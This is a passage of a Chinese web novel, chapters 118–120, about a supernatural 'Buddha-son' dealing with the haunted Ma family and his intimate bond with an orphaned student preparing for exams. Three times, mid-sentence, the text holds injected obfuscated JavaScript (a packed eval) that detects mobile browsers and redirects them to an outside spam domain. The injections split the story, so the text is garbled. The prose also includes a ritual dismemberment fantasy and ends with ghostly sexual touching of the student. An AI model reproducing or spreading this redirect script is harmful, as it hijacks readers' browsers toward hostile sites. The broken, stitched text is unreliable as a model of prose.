马家果然不兴夜里娱乐,大宅静悄悄,就连白天捣乱的小孩子也乖乖睡着了。 佛之法身可以理解为无处不在的、如雨如雾如幻的存在,佛子选择以法身面对马家的诡异之源,算是上了最高礼仪,表明他的来头。 俯瞰这座大宅,草原滚滚,乌云山阴,月隐星藏,绲边一样的走廊藏在屋顶之下,而屋顶与屋顶之间圈出一个个天井。佛子听见孩童的呓语,听见年轻的太太耳机里播放一宿的白噪音,听见□□歌时有时无的鼾声。正当佛子以为这一夜便是要这样过去了的时候,凌晨三点,弟弟马勤月醒来,他睡前偷喝汽水,三点膀胱涨,实在憋不了了。 小男孩蹑手蹑脚下床,去卧室的卫生间上厕所,上完并没有冲水,不是他故意如此,而是他怕弄出动静。马勤月没有直接爬上床,而是径直地走向房间的大衣柜,拉开来,躲进去。 一阵风呼啸而过,于马家大院上空盘旋,月光忽的斜照,马家大宅的砖瓦突的失掉了颜色,白惨惨一片如素描的画,再一眨眼,玉石莹莹,像是壁画中的宫城显现。佛子往上看,珠玉般的宽阔宝塔往上伸展,佛子往下看,单层的院落结构已无限复制、生长,他们好似在宝塔的中间层,往上往下都呈某种“天”的质感*1——佛子对这样的结构有天然的敏感性,像佛子自己的宝殿也呈宝塔状,其实就是有成为单独一“天”的潜力,只不过佛子没有这样做。 这是什么奇怪的结构?佛子不能理解,他试图想象他将自己的宝殿扩展成这样垂直结构的单独“天”,然后呢?意义在哪里?欲界的各“天”是佛、菩萨、金刚或天人的家,但囿于欲界则代表寿命有终时,所以修建一个暂时的家……? 佛子将这宝塔构造暂时命名为“马家天”,因为□□歌太俗了,起个漂亮名字反而混淆。佛子的法身试图朝其他层看去,可他忽然被自己这层的马勤月的行为所吸引。 其余层似乎有人在走动,院落的结构大致相似,移动的人像滚珠一般来回荡走。马勤月躲在柜子里,他知道夜里一旦醒了便就是要枯坐到天亮的。他是马家的孩子,有马家的血统,为老祖做事是当仁不让。 马勤月呈跏趺坐,右手无畏印,左手与愿印,竟然十分标准,然一层薄薄细细的光脉自他右掌心生出,又缠绕过他左掌,这样来回缠线,很快手掌就已裹满了。这时,光脉依旧生长、延长,绕过马勤月的躯干,一圈一圈,吐丝,缠丝,如蚕衣,起初薄如烟,愈缠愈厚,直将小小的男孩裹成了人茧。 佛子看见马勤月手心的掌纹掬出眼睛的形状,一时间耳畔的舞月佛音全消停了,佛眼对佛眼,佛子的第一念是:何以至此? 不论是不是马鸣,罗爱曜遭这一眼的对视给提醒了,马家的所谓“老祖”,说不定是罗爱曜等了千年终于得以一见的同类。此时罗爱曜想起晚上马家女儿说的那句“我家老祖不要杂佛”——说不定,马家禁修佛事,是为了维护老祖的佛性之纯洁、正统? 马家天的场域和罗爱曜的虚空境界相似。罗爱曜的虚空境界是罗爱曜通过咒法与印做出的时空场域,马家天则因为具有“天”的属性,自然具有特殊的时空特性。所以,马家天里的时间流速与外界也不同。体感只是几十分钟过去,倏忽间天光大亮,日轮月轮突兀交替,颜色皆数回来,马勤月身上那层蚕衣给整个收走了,只留下蜷在衣柜里睡觉的男孩。 罗爱曜没有与马家老祖正面打上交道。罗爱曜有交流的意愿,但马家老祖只是在柜中茧裹着小男孩,不理会罗爱曜。 早晨起来,孙太太的骂声惊醒草原。卓逸纶闲适地逛到小男孩的房间门外,只见孙渺渺将马勤月从衣柜里拖出来,就要找东西来抽他,可惜老屋只有笨重的大件,能抡起来的也是瓷器等重物,孙渺渺恨铁不成钢地用手抽打马勤月的肩膀、后背,“叫你好好睡觉!叫你不许睡前喝水!你不听是不是?!不听是不是?!好的呀,喜欢睡衣柜是吧,你今晚跟我睡!” 马勤光的房间在对面,小姑娘还没梳洗,听见妈妈的骂声,她只披了一件外套就出来。卓逸纶反倒是全家穿戴最整齐的一个。孙太太早晨没戴隐形,换上镜框,有些憔悴地望向卓先生。卓先生用手势打了个招呼,孙渺渺只颔首,问卓先生昨晚有没有睡好,卓先生当然说睡好了。 □□歌终于在早饭时现身,他一脸没事人的样子,仿佛昨天的起乩癫狂是假的。孙渺渺刚才动手打了孩子,现在孩子吃饭时抽抽搭搭,一副委屈样,□□歌问了两句,知道了事情原委,他就劝孩子妈妈还是不要动手,脾气不要太急嘛。几句料理完自家的事,□□歌马上就问卓逸纶:“卓先生,你昨晚有将佛子像摆出来吗?你怎么样?有没有睡好?” 卓逸纶说佛子像给司机带走了,孙太太不让。□□歌当即变脸,抬手作势要打身旁的孙渺渺,孙渺渺下意识一缩,卓逸纶赶紧上前拦□□歌。孙渺渺见有人挡在她面前,眼泪滚出来,用上海话骂□□歌,骂他拎勿清又太贪心,惹老祖不高兴了,个么一家老小全都口吐白沫倒地等死算额。□□歌当着外人在,不好直接反驳老婆的话,不愿多做解释。孙渺渺站起来,抽餐巾纸擦擦眼泪,不让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583055|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿儿子再吃饭了,“走,我们回H市。你们爸爸癫了,想作死拦不住的。” “你让李全把佛子像带回来!”□□歌指着孙渺渺的鼻子骂。 卓逸纶想劝架也不知从何劝起,不想让变数太多,干脆两边按平,先向□□歌解释前一天孙太太讲的事,再向孙太太解释清楚□□歌请他来是做什么。末了,卓逸纶总结地问道:“你们要统一一下,要我来究竟是为了做什么?” 孙渺渺:“你不是来谈生意的吗?” 卓逸纶:“是呀,我出力,马先生出钱,这就是做生意。” □□歌:“我就是要卓先生把佛子像请进我们马家啊。渺渺,你摸着你的良心说,你受得了老祖吗?世上有像我们老祖一样的灵,也就有像佛子那样的灵,我们换一种信不好吗?” 孙渺渺:“捱过三年就好了!都一年半过去了!你现在要换,我看你昨天就是遭老祖的报应了,你要死的时候离我们远点,你要记得你还有两个孩子!” 卓逸纶:“我听明白了。孙太太是怕老祖报复,不得不信。马先生是忌惮老祖,想换一种信仰。我知道,我还轮不上当你们二人的调解员,可我也只是普通人……” 正当此时,一旁的姐姐马勤光忽然双手握住卓逸纶的手,“帮帮爸爸吧。” 大人们都收声,望向小孩。马勤光继续说:“爸爸贪心,老祖生气,但老祖要爸爸把你带回来。佛像在哪里?老祖想要佛像。” □□歌听童言无忌,忽然像被雷劈过一般。佛子之前一直避讳读□□歌的心,不好直接在□□歌身上冲撞到那个灵。现下□□歌吞吞吐吐,难掩纠结神色,佛子就预备读他的心,甫一接触,□□歌就弹跳起来,作呕吐状,就连□□歌自己都觉得自己又要发癫了,佛子只能收手,看来这老祖惩罚□□歌是一点都不手软。 “我以为……呕……老祖是忌惮佛子……呕……”□□歌还是没搂住,扶着桌子吐一地,大家都跳开,以免被波及。“都怪你这蠢女人……昨晚要是……呕……把佛子请进来,老祖就……” 马勤光忽然用不似小女孩的声线说:“佛子已经请进来了。” 孙渺渺坐倒在地上,餐厅内霎时间寂静如死。卓逸纶的手仍被马勤光牵着,松不掉。孙渺渺试图去掰开马勤光的手,此时马勤月忽然又拉住卓逸纶的另外一只手,一左一右,童男童女似的,小男孩说:“新请进来的佛子吃人,杀爸爸,请客人。” 罗爱曜心中的怪异转为荒谬,他什么时候要吃□□歌了?他是个人就要吃吗? 频率还是没对上,误会倒挺大了。罗爱曜心想,他自己不是什么杂佛,马鸣也不是什么邪道,怎么就搞成这样呢? *1:本文中的“天”更强调天人或佛/菩萨/护法的“寓所”的含义,保留欲界天、□□天、无□□天的划分,有关须弥山的设定会随后文展开。 118.细马春蚕篇(十六) 卓逸纶一副很为难的样子,左右拽住马家的童男童女,似乎是让他们不要轻举妄动,他说:“大早上连饭都没吃完,就要上人肉大菜了?如果你们说的客人是我——那我肯定是不吃的。” 小男孩说:“客人吃。” 小女孩说:“不吃就没办法看见、听见。” 原来是用血肉来做渡船,从一无所知的这头,到无所不知的那头。卓逸纶依旧牵拉着两个孩子,他对孙渺渺说:“那还是请李司机把佛子像带回来吧。至于马先生……” 孙渺渺语速快得像恐怖片里即将失控的受惊者:“不能杀□□歌!他死了我们怎么办?!吃人!老祖生气了就要杀后代来请客我不会让他这么做的我不会让他们这样做的……”她上前去抢两个孩子,小男孩小女孩像压根没有踩在地面上一般,脚步轻盈,飘逸躲开,卓逸纶则在中间被带领着走出别扭的步子。 这偌大的宅子里,只有将疯未疯的马家人,和完全不敢出声干涉的外人员工。卓逸纶甚至看见门外保姆那纠结而迷茫的眼神,希望客人能做些什么,总不能客人一走了之,把疯掉的马家人又留在这里吧? 卓逸纶松手,马勤光和马勤月的手甩下来,他制住孙渺渺的肩膀,让她冷静:“孙太太,深呼吸,我不吃人,佛子也不吃马先生。马家的老祖是想寻找和我交流的方法,食用马家后代的血肉的确是最直接的,但这也不至于杀人。我并没有被冒犯,也不必惩罚马先生。”卓逸纶这后一句很轻很轻,是侧望着姐弟俩的眼睛说的,小孩子暂时不会听出的人称上的把戏,有人能听懂就好。 然后,卓逸纶就走了。他不喜欢这乱糟糟的境况,本能地觉得这不是他想管以及该管的事。说到底,他是客,等主家准备好,他享用就行,指指点点是不礼貌。反正该说的也让马鸣听见了。 佛子并没有被冒犯。不论□□歌说了多少谎话,心中藏有什么样的小九九,这都构不成对佛子的冒犯。本就无所谓的东西,骗或者不骗的,难道佛子要指望人类无欲无求还把他请回家?借□□歌来谢罪就更荒谬。 如此坐在他客房的古董圆木桌前,罗爱曜想,生养后代不是为了宰杀来给人谢罪用的。旁的东西不清楚,但罗爱曜心里生了根一样地想到一些后代的话题,先是圆滑地从马家的后代过渡到蒋家的后代——也是非人的那女孩,然后再想到远方的人,佛子有且仅有的唯一一个开生育玩笑的对象,罗爱曜不能想万一他与施霜景的几代孙或是几百代孙被宰杀了只是因为给另一佛道歉。 想着想着罗爱曜又忽然觉得好笑,几百代孙,鼠一样,怎么会生这么多。马鸣菩萨,你也不要怪我才好,好大的家族,只能说是稀释了。此刻罗爱曜撑着脑袋想一些不可宣之于口的事情,就连佛菩萨也不要听他在想什么最好,有点狂妄的,又有点不确定的,总之罗爱曜在心里用手指头劈山分海,继续做划分,什么样的菩萨,什么样的佛陀,我在哪边,他在哪边,我是谁的子,为何我是子而依旧是佛子,为何□□歌是子却只能是人子。 大约上午十一点,马勤光过来请卓先生去餐厅,十二点开饭,但是爸爸已经休息好了。马勤光在门槛的外边,没有踏进来,卓逸纶问她:“怎么就站在外面?” 马勤光不言不语。 卓逸纶只说:“我知道你们能同老祖沟通。你跨过来,我悄悄教你一个办法。” 马勤光不解:“什么办法?爸爸和妈妈都不允许我靠近你。” 卓逸纶:“你怎么就把爸爸妈妈教你的话说出来了?” 马勤光:“唔。对不起。” 卓逸纶走到门前,蹲下来,小女孩比他蹲下来要高,卓逸纶就微微仰视,其实完全是假装的平易近人,小女孩感觉到了,往后退一步。卓逸纶说:“我不要吃人肉,但如果你们的老祖执意要连通血脉,你家过几天不是要来更多的马家人么,请每一位马家人挤出左手食指一滴血,滴进这盆土里。量足够了,你就会看见土上结出一种香果,名叫诃梨勒。” 说罢,卓逸纶变戏法似的掏出手掌大的瓷花盆,瓷烧成了藏青色,他将这盆土交给马勤光。小女孩接过去,手上顿了顿,语言不足以形容出她这瞬间感受到的惊怖感,她之听卓逸纶继续说:“如果结出了诃梨勒,就将它还给我。我有讲明白吗?” 女孩点点头。 送走马勤光,佛子长身玉立,站在门旁。女孩手中的其实是人头,而佛子已忘了这是哪枚人头做成的诃梨勒。诃梨勒原是药师佛右手所执的诃子药,在佛子的复现中,他发现密教的诃梨勒需得以血肉滋养,颅骨为盆,脑为土,养出沃土,机缘应时,结出诃梨勒,可为天下一切药。如果老祖确实是马鸣,其后代的血就也算机缘,结出的诃子可作血肉之替代。 罗爱曜身形一歪,肩倚门框,他想起他为什么想起诃梨勒了。 叫施霜景的男孩,命格特殊,拿他的头做右手的诃梨勒,结出天下一切药;拿他的骨做琉璃瓶,盛祛病清洁净水;拿他的肉做红莲花,为密教像左手可持的异形宝珠;拿他的皮做佛国寓所,有如酒店中的巨型羊皮唐卡,绘画诸天诸佛诸神圣,佛光降临。 罗爱曜最初如此细致地拆分了男孩,只几个月过去,佛子爱怜如己身。罗爱曜忽的心惊,惊的不是自己的残忍,而是惊觉——平平无奇一过客,竟是初见就想好如何长长久久地留他下来。左手右手皆持,要他照见佛光伎乐欢庆吉祥,如天如水,满满当当盈盛慧觉。因这拆分和留恋太过自然,佛子一瞬障目,没察觉深意。 白天柳闻斌给罗爱曜打电话,汇报他带一老一小去看病的结果。施霜景还在等化验结果出齐,刘茜的下颌骨有骨折,可能要上微型钢板来固定。施霜景下午挂水,身上的疹子退了七七八八,柳闻斌就先载他们回励光厂。施霜景说想回家,柳闻斌就将施霜景送到家门楼下。 傍晚时分,施霜景给罗爱曜打电话。罗爱曜一接起来,视频那头黑漆漆的,看不真切,施霜景的声音给被子瓮住,罗爱曜也不自觉放轻声音:“要睡觉?” “嗯。”施霜景伸手拉开床头灯,画面里有了光,“好像是药会让人有点困。” 话音刚落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591240|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉米就喵喵喵喵地跳上床,施霜景将镜头调成后置,给罗爱曜拍家里的笨猫,“玉米听到你的声音了。” 玉米小心翼翼地踩着被子靠近手机,似乎是在辨认镜头里的罗爱曜,盯了两秒,玉米用脑袋顶了顶手机镜头。像罗爱曜这样心硬得像石头的人,见了这一幕也不免有些心化,“你替我多摸摸玉米。”罗爱曜说。 施霜景调回前置,另一只手伸出被子去揉玉米的脑袋。“你那边顺利吗?”施霜景其实想问,你什么时候回来?一看马家那大宅的背景,就问不出口了。 “越来越古怪——我不耐烦了,但我的应身暂时回不去。”罗爱曜说,“你要是想我,我只能让法身陪你。法身跨越空间界限,可以无碍地抵达你身边,只是法身无色无形,可能会让你恐惧。” 施霜景打个哈欠,“是我只能感觉到,但是根本看不见的那个你吗?好久没见过了。”其实只见过一次。蓝月空花的夜晚。 罗爱曜:“那是我让你想感觉到我存在。” 施霜景:“那是不是还可以让我完全感觉不到?” 罗爱曜:“可以。但如果你什么都感觉不到,就跟我没来没有区别。” 施霜景:“我是不是可以理解为,其实你现在也在我身边?” “……” 罗爱曜:“是的。我一直在你身边。家里的佛像,我的佛珠,我的法身。现在我就在你身边。” 施霜景:“你在哪里呢?让我摸摸。” 只有被摸的感觉。腰上忽然搭上一只很冷的手,激得施霜景后颈狂起鸡皮疙瘩。施霜景一震,那手就拿开了。施霜景转过身去,背后没人,他再往天花板上望,什么都没有。平躺下来,镜头里还是罗爱曜那张帅脸,左手闲适地搭在一旁,好不容易平复下来,左手忽然被一只冷手牵住。这次施霜景握住了那只手。 罗爱曜:“摸到了吗?” 施霜景:“你早说啊,这么方便。” 罗爱曜:“冰冰凉的,你也喜欢?” 施霜景:“让玉米来给你捂手。” 罗爱曜:“少来,一摸玉米它就跑了。” 说着,玉米忽然尖叫一声,飞奔下床,甚至在客厅里乱窜了几圈。 施霜景无可奈何一笑,叹气说:“那还是别吓它了!我好困,明天再听你说马家的事……” 罗爱曜:“睡吧。” 施霜景关掉视频,转向左侧,忘记关床灯,灯却一暗,与遮光的窗帘一同以黑暗包裹住他。其实施霜景从来没有搞懂过罗爱曜的构造,这个身那个身的,但施霜景已经不再害怕这三身,不论实体的有无。他会把罗爱曜的法身想象成鬼,这鬼很老实地睡在床的另一侧,牵手是最低限度的证明,证明他还在。施霜景对空床对侧说:“明天我要去给我爸扫墓,我不介意他像你一样,也这样握一握我的手。” 那只手又摸了摸施霜景的额头。这一下让施霜景有点眼湿。牵手是恋人,摸头是长辈。施霜景很无厘头地想,万一罗爱曜要演成他爸,施霜景是不是也根本分不出来?! 119.细马春蚕篇(十七) 这一觉睡到了初七,年节放假的最后一天。 罗爱曜的法身之手牵了整整一夜,直到施霜景醒来松开。施霜景是早起型人,又一次天还未亮就醒了,玉米昨天被看不见的手摸得炸毛,直到深夜才重新进房间,只钻进床尾,贴着施霜景的脚睡了一晚上,施霜景早上还不小心踢到它的肥屁股。 施霜景试着隔空抚摸,不知道能不能摸见这无色无相的佛子法身。很可惜,施霜景没摸着,还收到了罗爱曜的微信消息。 罗爱曜:如果让你随意就摸到了,我岂不是很没面子。 一剑霜寒:…… 一剑霜寒:这有什么面子不面子的 一剑霜寒:是不是摸不起? 罗爱曜:什么意思? 一剑霜寒:就是玩不起 罗爱曜:…… 罗爱曜:别玩了。你不是要去给你爸爸扫墓吗? 一剑霜寒:嗯,吃过早餐就去 一剑霜寒:下午去取剩下的化验单 罗爱曜:司机会来接你。 一剑霜寒:不用吧,柳司机不用过年吗? 罗爱曜:他做梦。 罗爱曜:我还留在外地,他竟然还想过年? 一剑霜寒:好吧 一剑霜寒:[玉米蜷成球睡觉照片] 一剑霜寒:今天的小猫! 罗爱曜:可爱。 “天,你父亲的骨灰竟然就安置在这家殡仪馆的骨灰堂……”柳闻斌灵活地转方向盘倒车,他来D市的殡仪馆简直比下饭馆还熟,“我一会儿就去找他们副主任,你不用交管理费了,顺便看看要不要给咱换一个风水位……哦不对,不应该这么说——小景啊,要不要干脆找块墓地?一点都不麻烦的,我不收你钱。” 施霜景解开安全带,“不用了,柳哥,在这儿挺好的,不遭风吹日晒,管理得也很明白。”柳闻斌让施霜景喊他柳哥,施霜景想了想总叫人司机或者柳先生确实有些太生分,就这样换了称呼。 施霜景去殡仪馆对门买菊花和纸钱。罗爱曜早上特意告诉施霜景,他今天上香可用家里佛龛里常点的佛子香,不必新买。施霜景还用塑料杯装了家里大半杯香灰,用塑料袋几层扎紧了带进车里。他早上出门前特意煮了饺子,用饭盒打包好,再从家里拣了些漂亮的水果,他是去看爸爸,一切从简,爸爸会理解的。 柳闻斌天天跑殡仪馆,本应该轻车熟路、一派轻松,但是跟在施霜景身旁,不知是不是因为施霜景平日里总是不苟言笑,柳闻斌一把年纪了,硬生生被施霜景压住了嬉皮的冲动,摆出稳重样子。 跟随施霜景去到骨灰堂,一排排的透明玻璃门里陈列了各色骨灰盒和牌位,有些带照片,有些则只有名字。施霜景往架子的最深处走去,直到最里侧,再蹲下来,原来施楼庭的骨灰位在最底下。柳闻斌那个来气啊,拍了拍施霜景肩膀,低声说:“这位置太差了,你父亲不憋屈?我们今天就摆个小仪式,换个好风水位……你看,至少得这个楼层才合适,不过这殡仪馆的骨灰堂一直都满客,不知道还有没有位置……” “不用,真的。柳哥,殡仪馆只收我一百五一年的管理费。” “这是钱的问题吗?!” 施霜景招招手,也示意柳闻斌蹲下来,柳闻斌松了松皮带,蹲在施霜景身边,听施霜景解释道:“我爸当年来D市治病,没治好,走了,医院、警局和民政局的人看我还太小,陪我一起办完了我爸的送别手续。这个楼层不好,所以才没有人租,第一年管理费都是护士姐姐掏钱帮忙垫的。” “后来我被表姑领养,去了泸州,住了一年多,被打得受不了了,没饭吃,没厚衣服穿,不让我上学,我只能跑出来,离家出走。再后来我就被福利院收养,福利院没过几年搬到了励光厂。”施霜景用钥匙打开小小的玻璃柜门,手上的布置动作一点没停,“我中间至少有好几年没有回D市,就特别怕我爸的骨灰被人处理了。刚搬来励光厂的时候,院里什么都没有安顿好,我没有钱,也就一直没来看我爸,是直到我上了初中,身上攒了一点刘奶奶的压岁钱,我才敢找过来。” 施霜景从书包里掏出毛巾,仔仔细细地擦爸爸的骨灰盒。他家的骨灰位特别简单,连写姓名的牌位都没有,只有一个光秃秃的象牙白色骨灰盒。“可是殡仪馆的人一直没有把我爸的骨灰处理掉,他们还给了我钥匙,没让我补缴管理费。”施霜景的言下之意就是,他很感谢这家殡仪馆,没必要为了一些面子工程去麻烦人,更何况这还是大年初七呢。 这下柳闻斌有些哑口无言。这家殡仪馆的主任这么好吗?长期无主的骨灰位都不清理?算了,人家做都做了,这确实算是很有社会责任感,柳闻斌久违地在这都市生活中品察到一点人情味。柳闻斌不多说什么,摸出一盒芙蓉王,塞进骨灰位,然后他就离开了骨灰堂,留施霜景一个人还比较清静。 施霜景将骨灰盒重新推进骨灰位里,又摆水果、饺子,将塑料杯装的香灰取出来,点上三根香。施霜景闭眼,双手合十,在心里和爸爸说话。 爸爸,我的日子好起来了。 不知道从哪里说起。 我现在在准备高考,你要是还没投胎,就保佑我考上大学吧。我知道现在上大学不代表能找到好工作、有好未来,但是我想让你们知道,我在好好照顾自己。我在走一条你们可能会开心的路。应该吧。我不知道。 我也能打零工的,我可以照顾自己。我不聪明,不是做生意的料,但送送外卖什么的应该没问题。听说要是考上大学,像我这样的孤儿有学费补贴和生活费补贴,都给得很到位。我最近做题还挺顺的,虽然也笨,但没有以前那么笨了。爸爸,你和妈妈都上了大学,我其实应该也有上大学的智商吧? 别的事……如果你地下有灵,你应该都看见了。 我不知道应该不应该喜欢他,但我已经喜欢上了,还能有什么办法呢?他对我也很好。真的。他对我真的很好。要是对我不好的话,我肯定不会喜欢他吧,我没有那么犯贱。你下次要是来我梦里,说不定还能见到他。他无所不能的。他自己介绍自己还比较清楚,我不知道该怎么介绍他。 唉。 大家都说祖先保佑,家人保佑,但向你许愿应该没什么用。你听着就行了。 他要去更好的地方,没必要为我留下来。他的世界比我的世界宽广、复杂多了,他有他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591241|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的去处,我只是个俗人,只能原地打转的俗人。我希望他能实现他的愿望,如果有的话。不过他会不会许愿呢?他应该不会许愿吧?他是听别人愿望的那种人。 我不知道我为什么有点退缩。他好像想留下来,可我不敢说我也想他留下来。喜欢能持续多久呢?我跟不上他的脚步,也进不去他的世界。我不喜欢这种掉队的感觉,可是我不能去就是不能去。我们不一样。我变不成他那样的。 我们不一样,以后还能在一起吗?能在一起多久呢? 我就连怎么跟他走都不知道。 把这一切都想通之后,他还愿意吗? 我愿意。 要是这愿意有用就好了。他怎么样我都愿意。我怎么样他管不了。 我也知道他会听。那我就不用说第二遍了。 爸爸,我不孝,爱上一个不普通的存在,我只能向你保证我会好好生活。是留是走都是留,他在不在都是在。没有别人了。只有我们。 就这样。 谢谢爸爸。 施霜景睁开眼睛,坐在地上,等那三根香烧完。他的心好空,好静,没有人来打扰他,这死不悔改的余韵时刻。很爽。施霜景给了自己一个确切的答案和交代。决定已做下。 这些话,施霜景不知道怎么同妈妈说,只好以香代话,在三根香烧完之后又上了三根香,是敬给妈妈的。反正爸爸会将这些话转述给妈妈,说一遍就够了。 施霜景越想越犟,他不要任何人干涉罗爱曜的选择,包括自己。但他已想明白,不论罗爱曜怎么选,他都愿意,他都接受。能者多劳。能爱的就多爱,能记得的全记得。 下午施霜景去拿了化验单,医生说施霜景的嗜酸性粒细胞略高,其他都正常。肝功能检查里,ALT、AST轻度升高,胆红素基本正常,其他指标只是轻微波动。医生觉得施霜景就是过敏性荨麻疹急性发作,反正这些检查单没有提示重大系统性疾病。如果施霜景不放心,下次早上空腹来做个免疫学检测,看看免疫系统是否正常。 柳闻斌将施霜景的病历本和报告单一一拍给罗爱曜,一问才知道,这是罗爱曜要求柳闻斌干的,甚至这是他让柳闻斌回来的主要目的之一。 施霜景知道罗爱曜经常偷听他的想法,早上在爸爸骨灰前剖白那么多,施霜景其实不是很想马上就和罗爱曜交流。他下午回福利院,帮刘茜一起照顾孩子们,明天他就要恢复补课了,李婉萦老师做上门家教。 终于又归回夜深人静时分。施霜景躺回床上。左手指缝挤进来冰冷的手指,与他十指相扣。施霜景以为这是佛子送他的睡眠仪式。 但那只手很快又松开,指尖顺着腕脉一路划过手臂,透凉地在施霜景皮肤上点火,烧到胸口,心脏的部位。那手又摸了摸施霜景的脸,施霜景倒是很无所谓地大字型躺在床上,反正潜意识里一直安全。 这昏昏欲睡之际,施霜景忽然感到自己的大腿给分开来,一双手卡住他的胯骨,摸他胯骨与胯骨间的腹股沟,施霜景一下就醒了,他身上现在有三只手。 第四只手摸了摸他的尾椎。第五、第六只手成对地掩住他的眼睛,光亮被按压成了变幻的深蓝。 120.细马春蚕篇(十八) 新年假期结束了。 从大年初八开始,一辆辆越野将黄绿草地碾成烂泥,群牛、群羊习惯鸣笛声,远远地打响鼻。山里提前回温了,日头无限好。马家那孤零零的大院前渐渐停满了车辆,听说周边县城的小商超都快给人搬空,就是为这深山的马家大院里补充饮用水等必需品。小孩子从车里下来,挑剔地选几样东西就又回车上去。天南海北的口音,这些商超也都习惯了,山坳里有一座大宅,有时他们也会来补货,柴米油盐的。大概也就是这十年才看见这拨人来来去去,想打听却又被看不起,这些外地人并不多说什么。 孙渺渺带着两个孩子迎客,高粱红的灯笼也仿佛笑开口。有从长三角来的马家亲戚,与孙渺渺说吴语腔调的普通话,都说孙渺渺只剩一年了,没关系的。实用礼物一箱箱往马家大宅运,干的有茶饼、陈皮、燕窝,冬虫夏草不要,马家自己就做这个生意,不许送。湿的有各色酒、补品原浆和名种花盆。孙渺渺喜欢在青石砖地的马家大宅种花,今年正好打算封半个进院修成花房。除了吃用的,其他名牌物件更是送得多,只不过孙渺渺全要求寄到他们在H市别墅的那个家,不要寄到这里了,气候不适合皮具保养,更没有用的场合。孙渺渺一一回礼过去,也都是事先准备好的,早就填了各家的地址,买下直接寄出,就不带进这大山深处过一遭手了。 家里怎么有外人?卓先生?原来是老祖请来的客人啊。恺歌呢?怎么病了?哎呀真不凑巧。没事,我们大家都来,给他冲冲新年的喜气。缺什么药嘛?我们都带了的。好端端的过年,病了可真可怜。 马家的女儿马勤光捧着一个小小的瓷花盆,凑上来,“姑姑,客人说要你们手指上的血滴进来,老祖要和客人说话,没有血不行。” 小姑娘求血的过程实在辛苦,有些人连忙让小姑娘采了血,和老祖挂上钩的,最好还是照办;另有些人左右狐疑,推脱不肯,孙渺渺就让马勤光捧着瓷花盆走开,不要扫兴。马勤光沮丧得紧,有几次马勤月说要来帮忙,反而那些不愿给血的长辈都给了小男孩几分面子,这让马勤光更郁闷了。 “卓先生,为什么我去要血,他们不给,我弟弟去要,他们就给了?” 马勤光依旧是不进门,扒拉着门框,探进半个身子,问佛子。 佛子不出门,正是马家热闹叙旧的时候,他现在还暂时没有出去的理由,只是敞着门方便有人找他。听见马勤光这么问,佛子并不弯弯绕,“因为他们认为你弟弟比你更能代表马家人。因为你是女孩。” 没想到客人这么直接,马勤光只郁闷了半秒,马上就哭了,“怎么你也重男轻女……” 女孩常常早慧,是被环境给打磨敏感的,佛子一说,她马上就明白了。佛子见马勤光哭得这么心酸,就任她哭了一阵,这小姑娘并不离开,就是挨着门哭,对着佛子哭。马勤光哭声渐小了,佛子才说:“你接的血和你弟弟接的血,各会结成一颗诃子药。我会吃你的那颗。” “真的?”马勤光带鼻音,瓮声瓮气问道,“为什么?我的和我弟弟的有什么区别吗?” “因为是你来同我打交道,这件事也是委派给你的。我不喜欢抢人功劳的人,也不喜欢半途而废的人。” 马勤光哭得人中通红,佛子让她进屋抽纸擦擦眼泪、鼻子和嘴巴。等马勤光缓过来了,她就去找马勤月要回那瓷花盆。果然当她回去的时候,瓷花盆已经给踢到不知道哪个角落,马勤月已然和其他马家孩子玩作一堆,完全忘了这回事,当初他只是觉得这事好玩,凭什么给得了姐姐却给不得他。马勤光捡起花盆,继续勤勤恳恳找马家人要指尖血。 佛子全看在眼里。他先前在马家待了初五、初六、初七这三天,再次感慨人类家族之无趣。俗,俗不可耐。 贪心不足蛇吞象的爸,□□歌不知到底是犯了哪一条,开始被他家老祖惩治,人病恹恹的,闭门谢客了;佛子估计□□歌是真的蠢,想请佛子像进来制衡他家这诡异老祖,更有甚者,可能是他想左手一座神、右手一座神,尽享齐人之美。虚荣浮华的妈,孙渺渺对丈夫死活的在意仅限于□□歌的经济价值,看在□□歌会打女人的份上暂时理解这层,可孙渺渺对两个孩子也并不上心,好端端一个富太太,对待孩子的方法无非就是又惊又叫,又骂又打,打开手机就是炫耀,关上手机就是拿身边人出气。一对不知发生了什么的孩童,女孩心有逆反,母亲不让她学老祖教授的伎乐舞蹈,她偏偏学;男孩对玄妙的马家天上瘾,夜夜不睡,要他休息,他偏不休息,在衣柜里也并不是修炼,反倒呈一种上贡的状态。这一家人对自己的状态全无觉知,小孩尚可理解,可大人还浑浑噩噩,以为所有事只是“花钱将佛子请进来”就能解决,或是“乖乖待完这三年就没事了”的天真。 